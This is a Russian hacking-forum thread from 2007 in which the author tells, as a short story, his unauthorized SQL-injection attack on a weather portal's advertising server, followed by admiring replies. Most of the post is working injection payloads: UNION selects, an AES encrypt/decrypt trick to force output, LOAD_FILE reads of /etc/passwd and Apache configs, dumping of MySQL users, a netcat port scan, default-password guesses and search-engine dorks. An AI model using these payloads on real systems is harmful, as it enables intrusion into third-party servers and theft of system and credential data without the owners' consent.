Авторские статьи У природы нет плохой погоды. Описание атаки на известный портал о погоде.

Discussion in 'Статьи' started by 1ten0.0net1, 27 Jun 2007.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    ЕСЛИ ТЫ ЗНАЕШЬ КАК ПРОВОДИТЬ скуль инжект, как форматировать вывод текста во время инъекции, где искать логи, как находить полный путь к web, как сканить порты неткатом, как юзать штатные утилиты консольные и нормально знаешь структуру файловую Unix-like операционных систем - то, сделай одолжение, НЕ ЧИТАЙ СТАТЬЮ, чтобы потом не писать всякий бред, что это баян, что цвет не такой и т. п.!!

    Сразу, опять же, хочу предупредить, что статья не представляет никакого интереса для членов закрытых разделов,
    но может быть интересна, тем, кто в закрытых разделах не состоит. Так что лучше всяким MOA и выше на нее время
    даже и не тратить. Все равно ничего нового. Статья написана в форме мини-рассказика, просто потому, что меня не
    прикалывает читать всякие мануалы по SQL-инжекту и т. п., ибо я, по-своей природе гуманитарий, и меня не втыкает
    читать всякие стандарты протоколов, разибраться во всяких патч-кордах, свитчах и т. п. И, не смотря на то,
    что у нас технический форум, мне кажется, что подобная форма подачи информации более эффективна в целях ее усваивания,
    да и просто, в отличие, от RFC, не так сильно спать хочется.


    Холодное, дождливое утро смотрело на меня из открытой форточки, а я смотрел на
    монитор и думал: "А что сегодня обещали по прогнозу погоды?" Вообще говоря, я не
    верю ни погоде, ни ее предсказателям, но на сайт с прогнозами зайти решил. Тут
    вдруг внезапно вспомнился сайт, упоминания о котором я несколько раз встречал на различных популярных сайтах.

    Захожу на сайт. Внешний вид у него подобает сегодняшней погоде.
    Скриптов немного. Они серые и унылые. Лениво поигрался с адресной строкой.
    Решил, по всем канонам жанра, вбить кавычку в поиск и заодно включил любимый плагин
    HTTPLiveHeaders, чтобы последить за заголовками. Из заголовка
    первого запроса почерпнул только то, что как версия PHP, как и сам аpache были далеко
    не новыми. Прокуртив окошко чуть ниже, замечаю обращение к следующему сайту:
    s.site.ru следующего вида:
    http://s.site.ru/show.php?pg=1&pl=1&bt=2&82689
    Зайдя браузером по ссылке, я обнаружил какой-то скрипт вывода рекламы. То есть я вижу
    белое окошко и посредине её - ссылка.

    Что ж - реклама, с этической точки зрения - это зло, поищем корень зла ;-)

    http://s.site.ru/show.php?pg=1&pl=1&bt=2'&82689
    Реклама исчезла, что не может не радовать (жаль, что только у меня в браузере...)
    http://s.site.ru/show.php?pg=1&pl=1&bt=2--&82689
    Реклама появилась.
    http://s.site.ru/show.php?pg=1&pl=1&bt=2+and(1=1)--&82689
    Все еще тут.
    http://s.site.ru/show.php?pg=1&pl=1&bt=2+and(1=0)--&82689
    Исчезла.

    Скуля. Дальше перехожу на метод POST и пробую мой любимый:
    pg=1&pl=1&bt=2+order+by+1--&82689
    pg=1&pl=1&bt=2+order+by+99--&82689

    Разницы нет =(( "Неужели фейковая скуля?" - подумал я.

    pg=1&pl=1&bt=2+and(1=(select+1))--&82689
    Вот так вот реклама видна опять.
    Так тоже:
    pg=1&pl=1&bt=2+and+1=1--&82689
    А так - уже нет. Скорее всего, фильтрация кавычек.
    pg=1&pl=1&bt=2+and+'1'='1'--&82689

    Я подумал, странно, что конструкция order by не работает, ведь по всем показателям скуля есть, а ордер бай не работает.
    Сразу скажу, я встречал такое и раньше. Когда такое бывает - сказать точно не могу, может быть просто корявый фильтр,
    а скорее всего, неизвестные мне особенности синтаксиса. Но суть не в этом. А в том, что я решил тупо поперебирать
    количество колонок при помощи union.
    pg=1&pl=1&bt=2+union+select+1--&82689
    Ничего не было..
    А вот на
    pg=1&pl=1&bt=2+union+select+1,2,3,4,5--&82689
    мне повезло, и я увидел пятёрочку, подсвеченную как ссылка )))
    "Прогресс!" - подумал я. Стоит заметить, что мне повезло, хотя я допустил маленький просчёт.
    Я мог бы не получить вывода, т. к. левая часть SQL запроса корректна. Для этого мне нужно было сделать либо так:
    pg=1&pl=1&bt=-2+union+select+1--&82689
    И перебирать... Либо так:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1--&82689

    Еще один интересный момент.
    При таком запросе:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,333,4,666--&82689
    если кликнуть правой кнопкой тачпада на ссылочке и выбрать свойства (там рисунок, видать -
    просто у меня они отключены), то можно заметить ссылочку вида
    http://s.site.ru/ban/333

    Попробовал я втюхнуть version() вместо 333, но вывода не было, как и вместо 666.
    Либо там не mysql, либо просто тип у поля не символьный. Но, так как мне казалось, судя по ответам сервера на мои запросы,
    что там MySQL я сразу решил заюзать фичу, известную каждому с пелёнок: закодировать и раскодировать вывод.
    В итоге, я составил вот такой вот запрос:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(666,0x85),0x85)--&82689

    0x85 - это ключ шифрования. Он может быть и просто 1.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(666,1),1)--&82689

    Сервак немного подумал... (наверное, не понял зачем это кодировать и сразу раскодировать) и выплюнул версию:
    4.1.1-alpha-standard
    Конечно, не пятая ветка, но тоже весьма неплохо.
    Далее, действуем по заезженому в хлам сценарию (concat() и concat_ws() не хотели работать):

    Запрос:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(database(),1),1)--&82689
    Ответ:
    ad
    Запрос:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user(),1),1)--&82689
    Ответ:
    root@localhost

    Оооо... Такого поворота событий мы не ожидали, ну что ж... Уж не знаю, что там пишет сайт о погоде, но погода сегодня точно лётная.
    Для начала, проверим, какими базами мы сможем покормиться:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(31337,1),1)+from+mysql.db--&82689
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(name,1),1)+from+mysql.db--&82689
    ПОэтому пришлось тупо перебирать имена юзеров:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+limit+1,1--&82689
    .....
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+limit+2,1--&82689
    Крому рута юзеры не появились... Неужели их не было?

    Ладно, читаем файлы:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user+limit+4,1--&82689
    Неужели нет прав на passwd? =(
    Попробовал /etc/shells:
    Вывода не оказалось.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user+limit+4,1--&82689

    Тогда я попробовал:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(1,1),1)+from+mysql.user+limit+4,1--&82689
    1 тоже не было! Как там!? - возмутился я.
    А потом заметил, что это все долбаный limit мне портит, и юзеров там много, просто их надо выводить не limit'ом!
    Вот такой запрос:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),1),1)+from+mysql.user--&82689
    Уже показал мне внутренности сервачка:

    root:x:0:0:System Administrator:/root:/bin/bash
    bin:x:1:1:bin:/:/dev/null
    daemon:x:2:2:daemon:/:/dev/null
    adm:x:3:4:adm:/var/adm:/dev/null
    ........
    ........
    nmapuser:x:111:117::/dev/null:/dev/null
    sshd:x:112:118::/:/dev/null
    slocate:x:113:21::/dev/null:/dev/null
    tcpdump:x:114:119::/dev/null:/dev/null
    abp:x:500:500:abp:/home/abp:/bin/bash
    akor:x:501:501::/home/akor:/bin/bash

    ntpd:x:115:34::/dev/null:/dev/null
    vsftpd:x:116:35::/var/ftp:/dev/null
    novsftpd:x:117:36::/dev/null:/dev/null

    Ну что мне сразу бросилось в глаза...
    1) Демон ftpd - VsFTPd
    2) Вские там nmapd, squid, apached.
    3) Юзеров с /bin/bash немного, но нам, надеюсь, хватит ;-)

    Это:
    -root (само собой)
    -abp
    -akor

    Вывод как всегда был сплошняком. Меня постоянно напрягала такая ситуация просмотра исходников страницы,
    и сегодня я решил положить ей конец =).
    Я долго мучался, как отформатировать вывод, выбирая между
    \n
    \r\n
    <br>

    и т. п., портом заметил, что вывод идет в значении параметра тега, то есть его надо закрыть.
    В итоге пришел вот к такой конструкции:
    "></br>
    Запрос, соотвественно:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(REPLACE(LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),0x0a,0x223e3c2f62723e),1),1)+from+mysql.user--&82689

    Теперь вывод красивый, только выравнивание по центру, а не по ширине... =)
    Но это, правда, и не Word, так что меня вполне устроило.

    Начём с цифры 3).
    Попробуем прочитать .bash_history.
    Рутовская /root/.bash_history читаться не стала, пробуем 2х других юзеров:

    /home/abp/.bash_history
    /home/akor/.bash_history

    Ни одна из хисторей не читалась: либо не было прав, либо владельцы файлов юзают логвайперы ;-)

    приступим к пункту 2)
    Ищем конфиг апача. Первым делом смотрим на домашнюю директорию юзера apache:
    /var/www
    Пробуем так:
    /var/www/conf/httpd.conf
    Далее, пробуем стандарт:
    /usr/local/apache/conf/httpd.conf

    Далее были перепробованы следующие варианты:

    /usr/httpd/conf/httpd.conf
    /usr/www/conf/httpd.conf
    /usr/httpd/httpd.conf
    /usr/www/httpd.conf
    /usr/apache/conf/httpd.conf
    /etc/apache/conf/httpd.conf
    /etc/apache/httpd.conf
    /etc/httpd/conf/httpd.conf


    последний вариант ответил нам сниненьким шрифтом ).
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(REPLACE(LOAD_FILE(char(47,101,116,99,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102)),0x0a,0x223e3c2f62723e),1),1)+from+mysql.user--

    Дальше, просматривая апач, ищу:
    - строку AuthUserFile
    - строку .htpasswd
    - строку .htaccess
    - строку Include

    Ничего из этого сказано не было.
    - директиву DocumentRoot (для расширения кругозора ;-)):
    DocumentRoot "/var/www/html"

    - User
    User akor
    У этого юзера я хистори прочитать не смог (.bash_history), значит, она пуста. Либо права на файл - рутовские.
    Попробую почитать .mysql_history
    Неа.. =(

    Virtual hosts
    Отсюда мы узнаем, что за хосты есть на сервере.

    Нахожу какой-то 4го уровня домен. Он не грузится.
    Корневой же открывается, и я узнаю, что это провайдер.
    Дальше при помощи утилиты nslookup я выясняю, что
    сайт провайдера имеет IP, отличный, от найденного 4го уровня в конфиге.
    Дальше, при помощи reverse-ip узнаю, что на исходном сайте, находится 4 поддомена нашего сайта.
    И IP адрес его отличается от самого site.ru на единичку и на целые 255.255.*.* от найденного домена провайдера 4го уровня.
    Чудеса. Попробую traceroute, могет поможет.
    Сигнал ушел в таймаут после домена HX-2-Gi3-256.sc.provaider.ru. Напрямую через web он грузится, но ничего не
    отображает. Видимо это какой-то фаерволл.
    Проверив IP этого домена, выяснил, что он тоже находится в сети класса В (или не B - забываю я мат. часть :p).
    Погуглив по запросу HX-2-Gi3-256, вяснил, что у кого-то трассировка прошла далее, чем у меня и остановилась на домене
    провайдера.
    Просмотрев /etc/hosts не обнаружил ничего, кроме локалхоста =(
    Вообщем, запутался я в их топологии, ну да и хрен с ней. Пойду дальше смотреть, что там за сайты.

    Кстати,
    DocumentRoot /home/akor/ad
    ServerName graphic.rs.provaider.ru


    Кроме него, в конфиге ничего не нашел.
    лог ошибок хранился в
    ErrorLog logs/error_log
    но при обращении к файлу
    /etc/httpd/logs/error_log
    я ничего не увидел. Ну что ж....

    Попробуем еще один вариант:
    1) - поищем кофниг ftpd демона.

    Смотрим домашнюю директорию демона:
    /var/ftp
    B пробуем искать в ней:
    /var/ftp/conf/vsftpd.conf
    /var/ftp/vsftpd.conf
    /etc/vsftpd.conf
    /etc/ftpd/vsftpd.conf

    Ничего из этого читаться не хотелось ((
    Был там еще и прокси Squid, но для него искать конфиги было в лом.

    Решил напоследок просканить открытые порты.

    nc -v -z -w2 s.site.ru 1-3306
    s.site.ru [213.68.138.19] 80 (http) open

    Вот тебе и ftpd =(
    Ну что ж... Из простых вариантов у меня осталось только 3:
    1) Каким-нибудь способом перебрать юзеров и их пароли из mysql.user;
    2) поискать таблицы дрцгие в базе;
    3) Выяснить полный путь к сайт с бажным скриптом, потом просканить все найденные на сервере сайты,
    и оппробовать почитать что-нибудь интересное;
    4) Поискать конфиги, но не с целью инклуда, а с целью поиска возможных ссылок на файлы с паролями.

    1)
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+where+user+like+char(114,111,111,116)--
    Вывело root.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+mysql.user+where+user+not+like+char(114,111,111,116)--
    Ничего не вывело. Получается юзер только рут.


    Дальше я попробовал погуглить по inurl:s.site.ru
    и, даже не запуская сканирования, нашел вход в админку.
    s.site.ru/admin/index.php
    NB не спрашивайте, почему я не пробовал этого раньше).
    Что интересно, гугл выдал мне веб-форму авторизации, а когда я зашел, то там уже была Basic авторизация.
    Иначе говоря, если была web-форма, составленная коряво, где параметры передаются методом GET, то в логах
    можно было бы поискать пассворды. А сейчас мы будем искать .htaccess. Но для этого нам нужен полный путь,
    предварительно проверив авторизацию по парам:
    admin:admin
    admin:password
    test:test
    admin:stat
    (как я выяснил, сайт отвечал за статистику)
    И т. п.
    Ищем полный путь.
    1) Через гугл
    inurl:s.site.ru Warning
    site:s.site.ru Error
    site:s.site.ru Error

    2) Поизвращаться с параметрами
    pg=1&pl=1&bt[]=2
    3) Попробовать передать переменную, которая изначально GET методом POST. Такое тоже бывает.
    Но, судя по тому, что при корявых запросах к базе ошабки не выводились, скорее всего они не будут
    выводиться и для ошибок в php.
    Вообщем, полный путь я не нашел.
    А вот если бы нашел.... то прочитал бы .htaccess и поал бы в админку..((
    Но, увы и ах.
    Тут я опять спалил, что я невнимателен, и забыл приписать в POST запросе, в заголовке
    Content-type: application/x-www-form-urlencoded (это особенность плагина HTTPLiveHeaders для FireFox)
    Посе этого:
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(444,1),1)+from+users--
    444 - успешно отобразилось.
    Это не может не радовать. поищем колонки.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(username,1),1)+from+users--
    Неа.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(user,1),1)+from+users--
    Неа.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(login,1),1)+from+users--
    Можно было бы, конечно, запустить скриптик для брута, но я их не люблю (хотя, это дурацкая привычка
    Надо стремиться все автоматизировать! Если, конечно, понимаешь, что ты автоматизируешь...)

    Очень часто имена колонок можно узнать из исходников страницы с веб формой авторизации.
    <input name="u"
    Что ж, попробуем.
    pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(u,1),1)+from+users--
    Тоже ноль. =(
    Вообщем, скрипта для брута я тоже найти не смог, как и полного пути.
    На этом мои половые отношения с сайтом закончились. А жаль.

    Тут я зашел на ачат, чтобы запостить свое приключение и увидел на главной ссылку на SQL-injection tool.
    Сам не пробовал, но отзывы написаны неплохие, значит как минимум функции брута в ней есть.
    Заценим.
    Вообщем, до брута я не дошел, т.к. (может я косо смотрел) поддержки соксов я там не нашёл. А жаль.
    Кстати, единственное, что я не успел попробовать
    - это просто вставить имя бажного скрипта в путь к домашней директории обоих юзеров и попробовать почитать. Может бы и нашелся путь к нашему бажному скрипту.

    За сим прощаюсь, и пребываю вечно Вашим.
    1ten0.0net1.

    PPS А вы что думали, я порутаю сервак или залью шелл? Нееееттт.... не всё так просто, и я предупреждал об этом в начале). Поэтому и в названии указал, не взлом, а атаку - так как атака могет быть как успешной, так и нет.
     
    #1 1ten0.0net1, 27 Jun 2007
    Last edited: 27 Jun 2007
    19 people like this.
  2. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    1ten0.0net1, очень напоминает статью из журнала ][. ты не пробовал там печататься?=)
     
  3. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Говорят, мало платят ;-)
     
    2 people like this.
  4. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Блин, ну кто же ты у нас то 1 или 0.
    Не плохо написал, надо было погодку то поправить на сайте то... может бы и не было дождя
     
  5. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    зато приятно, когда тебя 100 тыс человек с бумаги читает.. а потом кучу писем получать на ящик с просьбами помочь взломать интернет..))
    вот интересно, на сколько денег ты сам оцениваешь свою статью? )
     
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Не верю (с) =)
     
  7. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Считаю, что нельзя оценивать, т. к. нет достаточного уровня художественности, необходимого для бульварного чтива, а многие моменты слишком описаны бегло, для чтива технического.

    concat() и concat_ws() не хотели работать
    Не верю (с) =)

    2 Spyder.
    Прокомментировать никак не могу - как я написал, там и order by отказался работать, почему не знаю.
     
    #7 1ten0.0net1, 27 Jun 2007
    Last edited: 27 Jun 2007
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Ну с тобой мы обсудили всё =)

    Такой запрос работает
    Такой нет
     
    2 people like this.
  9. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    Так... дальнейший флуд по поводу цвета текста в статье, и почему она не в хакере, будет удаляться с выставлением минусов по возможности

    Имхо цвет щас в норме, всё норм. читается...
     
    #9 Thanat0z, 27 Jun 2007
    Last edited by a moderator: 27 Jun 2007
    1 person likes this.
  10. Slon

    Slon Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    123
    Likes Received:
    21
    Reputations:
    3
    Эх я то думал, что тут до рута дело дойдет, а статья так неожиданно оборвалась :d
    У меня у самого таких незавершенных взломов дофигища, хз что с ними делать

    Статью с удовольствием прочитал, гуд!
     
  11. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    А мы ведь уже говориле, что еденичко пишет интересно =)
     
    2 people like this.
  12. Серенький

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    еще бывало, когда httpd.conf не открывался, но открывался httpd.conf.bak или httpd.conf.bakup, а там были как раз пути под Include.